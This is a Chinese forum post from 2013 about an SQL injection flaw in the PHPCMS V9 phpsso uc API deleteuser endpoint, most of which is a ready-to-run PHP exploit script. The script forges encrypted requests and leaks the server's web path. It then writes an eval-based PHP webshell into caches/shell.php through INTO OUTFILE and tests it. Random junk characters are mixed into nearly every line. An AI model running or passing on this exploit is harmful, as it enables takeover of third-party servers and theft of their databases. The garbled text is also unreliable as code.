找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1903|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。; V0 o  v2 E4 e) L9 T
) h) F/ y/ L, m7 s
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 I% D* @0 l/ i

% W+ o2 r3 R7 C  B9 Z( b漏洞分析:8 i( R: S8 h9 m6 ^. z
1.未启用ucenter服务的情况下uc_key为空& }, C7 X6 y- V- \( p- r
define('UC_KEY', pc_base::load_config('system', 'uc_key'));/ R' e' X4 z1 n4 H8 N& R
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
  [" t) q6 N' Z& O( n5 o    public function deleteuser($get,$post) {
4 S; j4 i7 w- r: a% \' N# \6 A* s        pc_base::load_app_func('global', 'admin');
4 y; T, f3 p4 w8 M        pc_base::load_app_class('messagequeue', 'admin' , 0);
+ L) J# e$ P. L7 S5 g7 R; z        $ids = new_stripslashes($get['ids']);
' [6 R6 E" o+ F        $s = $this->member_db->select("ucuserid in ($ids)", "uid");! A; q9 I; D& Z; s1 }
SQL语句为: W% X6 S3 v0 Y' W! @# N
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids): t5 r* _+ C, @- K5 R! f

# L2 E$ \2 P& {! P/ G0 Y: }* P利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 z. w# J  q  P
<?php- Y: P3 K  A. l7 a1 L+ T$ a7 s
print_r('( C2 E( F- Q2 f  I$ }4 ?; [
---------------------------------------------------------------------------
' ^1 x' h7 \% T+ uPHPcms (v9 or Old Version) uc api sql injection 0day
- T3 y* M& X: X( ^' b+ ]by rayh4c#80sec.com( p1 c" ?: i+ k/ z7 R
---------------------------------------------------------------------------5 D% K1 E+ t7 W8 N
');3 x$ y4 s9 Q( T& B9 g# k

! f' ^2 q3 q1 @) q; fif ($argc<3) {
$ Y$ c# q- E; [# D9 o/ e    print_r('
2 U( K6 H1 m( P" I- ~6 K, H1 H---------------------------------------------------------------------------, \7 n6 ?6 {$ G5 G( K9 m; g
Usage: php '.$argv[0].' host path OPTIONS& i" }6 b% w: X4 A6 G6 ?
host:      target server (ip/hostname)3 S7 }: M( d" C0 b2 W3 c
path:      path to phpcms
% W$ t# p: A3 N& G( `Options:) o# Y9 p9 G0 R7 x
-p[port]:    specify a port other than 80" |+ P5 m) M4 a  E
-P[ip:port]: specify a proxy) E7 w) t8 l0 Q# e3 ^# M+ \# c# t# ?! X
Example:
$ u4 K* v4 U) I8 K* k6 `3 Zphp '.$argv[0].' localhost /
; [. {  b% U. Y' w/ e* d. }" tphp '.$argv[0].' localhost /phpcms/ -p81, |$ V" f. k- s# d
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80) }; r2 @1 U% r) N, v5 A( {
---------------------------------------------------------------------------; C1 G' L/ t6 s" J9 q( @
');0 Y. E; |! ], C$ N6 @5 K' b
    die;
3 q* h$ D1 ]8 R) E/ v: w1 v}
* o) {( \- R( Y8 Q
; ~1 h- `" Q$ j8 V' W4 B& A, Q8 oerror_reporting(7);$ O7 m0 q; M/ r7 m7 U  ~5 W
ini_set("max_execution_time",0);
- ~+ P7 r0 Y* sini_set("default_socket_timeout",5);1 b3 ^( }) F$ {$ Y
: s7 f* n) o8 l$ @: N
function quick_dump($string)
3 [4 M8 j# ?; a( L& P. ~: v{
  A8 V0 p: m8 w7 U  [4 ~$ M7 F( z- x  $result='';$exa='';$cont=0;
) M( r0 u) U) Q  for ($i=0; $i<=strlen($string)-1; $i++)
' x1 }5 v0 Z2 `2 \  {/ L* }( a' f! z5 ]. p$ w+ J. I
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ x6 P3 H! ]! z' x3 A% o) i3 \   {$result.="  .";}
! A, V+ O. B0 a1 {2 Y   else  {/ e3 Q; k% l9 `2 W
   {$result.="  ".$string[$i];}
# h3 U6 O$ M/ P4 X7 ~# _   if (strlen(dechex(ord($string[$i])))==2)/ l: [6 x# n5 X) E  d
   {$exa.=" ".dechex(ord($string[$i]));}& O7 B0 g8 U4 q4 ~2 Y: R. Q
   else
' S: Q  Z6 E" o; Z9 l   {$exa.=" 0".dechex(ord($string[$i]));}
* y* M1 i0 g% n   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
: ]5 y- w2 \/ S* R7 R5 Z  }
9 }9 o& Z- R- u' s+ I return $exa."\r\n".$result;
% v3 U# `; u9 m' J. B}
9 I  \. h3 B3 h$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
( Z0 t. {; R# S: ?( |  G! I/ g# ^5 J/ J) p, ^
function send($packet)
- r/ Z: c3 M6 j  {) J0 C0 G% }{% ]; [1 R0 v; H0 P* V7 r
  global $proxy, $host, $port, $html, $proxy_regex;' I! `  N9 Q: p. F, `' w
  if ($proxy=='') {
, t9 Z+ K. h& Q9 [* T5 J& v    $ock=fsockopen(gethostbyname($host),$port);9 D* Z: c8 T# X9 z) {
    if (!$ock) {  E% v. O+ s% q) R% ^: V
      echo 'No response from '.$host.':'.$port; die;
3 u+ K, k- k2 C4 i    }
3 i! b% L: Y. d. V5 ~/ Y  }
  S; I5 s1 D7 W: e* G* z  else {
" }, E) D  W; q5 b( C0 b: J9 `  P        $c = preg_match($proxy_regex,$proxy);$ s( |6 Z7 s6 T" h" @
    if (!$c) {) x, D* g1 y8 o# p; s$ x
      echo 'Not a valid proxy...';die;; e# c9 J. `' M% g& A( O2 c
    }
( N; J( R% U! a; A' G    $parts=explode(':',$proxy);; `' j; K- ~0 o% S, i: [# F( |
    $parts[1]=(int)$parts[1];
. x8 f& ^" U# M: Z9 r" K! Y    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";7 w7 G# V; y- b; D0 x
    $ock=fsockopen($parts[0],$parts[1]);
& f3 J, w$ U" z0 G) w    if (!$ock) {5 a! v1 F7 O: ?/ t$ R
      echo 'No response from proxy...';die;
" P$ }1 @8 U4 F        }( K% X/ O& q8 V
  }
  I: R% y6 T3 Q$ z  fputs($ock,$packet);
$ `% t2 ?$ r. a/ Q3 h  if ($proxy=='') {
* z7 z3 j6 A, g9 F; h; x( J% d    $html='';. a$ P5 o  W' D- ]  ?
    while (!feof($ock)) {5 `) |+ A% f2 Z1 L
      $html.=fgets($ock);- V( D" e* N1 j+ V# A
    }- H& e$ e( n! x/ I, M; R9 @5 h( e
  }% }/ k( `9 Z4 O2 F, I1 A
  else {! ~! l( N& r; z
    $html='';, ]0 T& {" W4 Y
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {$ d9 l3 ^- X* Q1 k) I( e, I9 U
      $html.=fread($ock,1);" ~. ]8 U6 M. c* F, p
    }# E- C1 E" u9 ?
  }
: S: }4 r( u0 U# m9 W. f  fclose($ock);$ H5 |+ G1 C8 \3 s. W
}* S0 [1 T- o* D2 a# d/ M  B
5 n6 g6 c( w+ M; u) ^
$host=$argv[1];
9 ]* ^$ J* D' ?  y5 _* a; }/ a$path=$argv[2];
, u) I% {! s8 f! r" U4 W  w) A$port=80;
) J, R/ h# m! l' W/ k' u$proxy="";
9 M2 j9 ~- E' X0 Cfor ($i=3; $i<$argc; $i++){
0 `* I* x: }4 W6 n& q+ Z" E% o$temp=$argv[$i][0].$argv[$i][1];  R! T' }; S% S9 \( \
if ($temp=="-p")4 b% l- h; F: W! m. L
{
: e$ h8 E9 x6 `2 k$ a) r# G3 }5 d  $port=(int)str_replace("-p","",$argv[$i]);8 M+ w6 U9 B) g+ k) S+ G
}
8 s  m+ |0 D$ I. D! O* o2 P! Sif ($temp=="-P")/ t2 Z" G8 w: M  f' U
{
/ |& a4 l. C+ o  $proxy=str_replace("-P","",$argv[$i]);
/ Z+ J4 P8 G5 {* k0 N2 ^/ }}
" D6 A9 A8 e. Q7 a) ?/ A}
: ?1 c; f( ]  [. z
  U* g$ U0 v: p& a$ x# ^$ pif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}3 Z6 U. n' }6 Y2 L3 T
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}/ |/ t: Y7 o9 j, w' Q/ B  P& C) o1 G
! _% L2 a  W: d( W7 h
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  Y) j2 t. y% p) z$ J4 d1 t+ [' t0 K! `1 d" B4 V
    $ckey_length = 4;
3 R2 {1 t9 F' [- Q* g( U5 U1 A% a, U( C6 x
    $key = md5($key ? $key : '');7 S' \* W+ N. {& u2 k' m! X# x
    $keya = md5(substr($key, 0, 16));
+ p' I+ r8 R! X0 a  ~1 g    $keyb = md5(substr($key, 16, 16));
+ ]9 }6 E- V( _& j0 U    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
; z0 d# F: d$ @, _8 S; @/ [- T9 Q- @7 h8 s9 R% t& t9 X0 d( D
    $cryptkey = $keya.md5($keya.$keyc);1 \' C# Q9 l& G4 ^. e6 T0 @! M
    $key_length = strlen($cryptkey);! U: a7 ^) Q+ B+ I9 m3 `

+ {- e4 B1 \/ g3 K1 z0 `    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
. T0 w5 P9 M+ y- V' b: V    $string_length = strlen($string);0 y# s' ^, m; G! L# [

. I/ G7 c0 t- h2 P" c0 }/ t    $result = '';
& K, Z; E  l1 O, c3 H+ |    $box = range(0, 255);
5 f- P4 W3 J- Y6 z
8 D% e; E# s6 z. r5 h; s% P6 G1 {+ u9 H    $rndkey = array();
" M/ v9 P7 `5 i0 D; s9 s7 a( ^    for($i = 0; $i <= 255; $i++) {4 B2 W3 O' n8 G
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 \% @) i4 d: x( P( O# u    }
* M5 _$ C! Y7 |/ ^7 ^
3 p% {1 w2 B% M  E4 u+ F    for($j = $i = 0; $i < 256; $i++) {
8 X/ P0 c% k  E        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. u* j1 n+ d3 t4 i; L, E/ I) o        $tmp = $box[$i];3 e2 i; C7 `, T
        $box[$i] = $box[$j];" h9 s4 C1 j7 A( g' {. z$ \% j
        $box[$j] = $tmp;2 r! Y& z9 o8 J- k0 _7 W
    }
  X( h* Q4 A0 K  a$ I
7 K, B: `, H9 b1 V    for($a = $j = $i = 0; $i < $string_length; $i++) {% R2 A$ [2 A2 D4 a) J
        $a = ($a + 1) % 256;; l7 r2 O+ P% R
        $j = ($j + $box[$a]) % 256;
9 n9 b' U: R5 n        $tmp = $box[$a];
: n/ c; j) H* M, [# y6 I        $box[$a] = $box[$j];3 w0 E8 d* A. H% R6 p5 q& u
        $box[$j] = $tmp;4 \) c( I- G8 u- _& j  f
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));& b+ H4 z* P7 G
    }) a& O1 n4 A6 S* S0 X( y
8 {5 p% x+ e* J1 Y5 v
    if($operation == 'DECODE') {
! B8 X* K/ }* ~! y: Y        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {. k: ]* _3 E2 ^. w! l" W( q
            return substr($result, 26);1 r( Q# |  u6 r. j. Y
        } else {/ G# V: \) B2 i  l; W' r9 i
            return '';! v4 H& O; `2 ]. s
        }- t, c6 n3 t5 R. n+ b
    } else {% w+ \  d/ [& e1 V) f
        return $keyc.str_replace('=', '', base64_encode($result));
" W5 X4 J- l3 ?1 i3 V! c# i/ ]    }
0 E, ]$ H1 f- O- @& v) a+ k9 C% W" }% I
}
4 W( V0 y+ u, v- i$ t: q4 z! p* ~
( e$ @1 h! B& p& B- a7 |$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 C9 F' g5 p% I' Y' U" b$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) N1 _  [( p7 T. e- vecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& x; L! G3 ?% _' }- |1 R$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 r1 w$ R; ~0 F
$packet.="User-Agent: Mozilla/5.0\r\n";' X' ?0 a* P5 V1 R
$packet.="Host: ".$host."\r\n";1 G# ^* N" a2 S3 w- h
$packet.="Connection: Close\r\n\r\n";7 w4 u* `/ u, E+ L
send($packet);; a" f! ?9 r; t
if(strpos($html,"MySQL Errno") > 0){
; ~/ B1 O' H0 O' X- q: ~$ Techo "[2] 发现存在SQL注入漏洞"."\n";2 X, \- e. r* p4 U
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";5 m) Y$ m) p( F8 a7 T5 D
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";. r: H! E4 r% |! }7 J6 t% O
$packet.="User-Agent: Mozilla/5.0\r\n";
0 I- Y; K. ?' \( m" {5 o$packet.="Host: ".$host."\r\n";
4 N7 h# Y. @! d6 P) A& T$packet.="Connection: Close\r\n\r\n";: Y; h, @" o% \8 y) `1 ]% E4 @& R
send($packet);
# i2 @3 P4 L; P0 p' Y. q8 ~5 K. M7 A1 x. Opreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);1 S1 O* _: L6 [  {4 z
//print_r($matches);5 @% H" W0 ~8 r
if(!empty($matches)){
, F1 C3 }7 }; Eecho "[4] 得到web路径 " . $matches[0]."\n";
) ~& g* ~* Y( f$ [- Jecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";( X2 Q; u, i0 K7 T, l" u( U* @3 ?* d
$SQL = "time=999999999999999999999999&ids=1)";
% g+ f( ^. e4 {8 m5 U$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
; Z  W# U2 E. B- c+ D: @% K8 \, Q0 ]$SQL.="&action=deleteuser";; {" r& _% Y9 H3 }
$SQL = urlencode(authcode($SQL, "ENCODE", ""));. L5 C6 P- @* k7 c2 a
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ n2 v! R7 h* f4 \7 D) y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 y6 k  J3 L3 g/ Q; V7 S; h
$packet.="User-Agent: Mozilla/5.0\r\n";
0 e9 K- r  Y2 c* Q$packet.="Host: ".$host."\r\n";
! B( k; J+ A$ D6 W$packet.="Connection: Close\r\n\r\n";* W, w+ j$ t9 L; `# Y$ X
send($packet);
! B5 M; |+ o4 `if(strpos($html,"Access denied") > 0){1 w9 W/ O6 Z' L  ]) G' Z0 Q
echo "[-] MYSQL权限过低 禁止写入文件 ";. y1 ]# p( O; [; h- F8 y
die;" i& h, ]/ @" q! [, Q# }2 w
}  P1 `6 K8 i1 t; L. V+ }
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 h; J0 U4 U- c4 g9 |( [, M
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
" q! y) H6 [( A, U- |/ K3 F4 f$packet.="User-Agent: Mozilla/5.0\r\n";
- S/ l9 z4 v5 q1 c$packet.="Host: ".$host."\r\n";* _$ n( q0 F  K3 V9 f
$packet.="Connection: Close\r\n\r\n";( y# G( b, m$ l$ j7 @' k1 I, r
send($packet);
, r% _* z$ u" c, S$ ]7 Lif(strpos($html,"<title>phpinfo()</title>") > 0){+ i0 N/ J- m7 D9 {2 E7 B# w5 j1 j1 b1 o
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
! s$ {7 v6 }0 z0 p9 B  h" O}
. t) H$ }3 e: |$ G1 c4 O- f}else{$ m- B4 r+ M3 K6 O
echo "[-]未取到web路径 ";6 B/ e* K2 L4 j8 H" ^/ n
}! B' a% a2 L$ `1 l% X
}else{' q: j2 B1 }) V4 d% i4 I) o$ N
echo "[*]不存在SQL注入漏洞"."\n";
- q$ w3 S* ^: u1 V. c- t1 g}& x3 i7 b7 i. w/ s( D

- R, d( j+ G8 ^4 b; G6 ^; R?>
) q7 z  F$ s- V& w$ |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表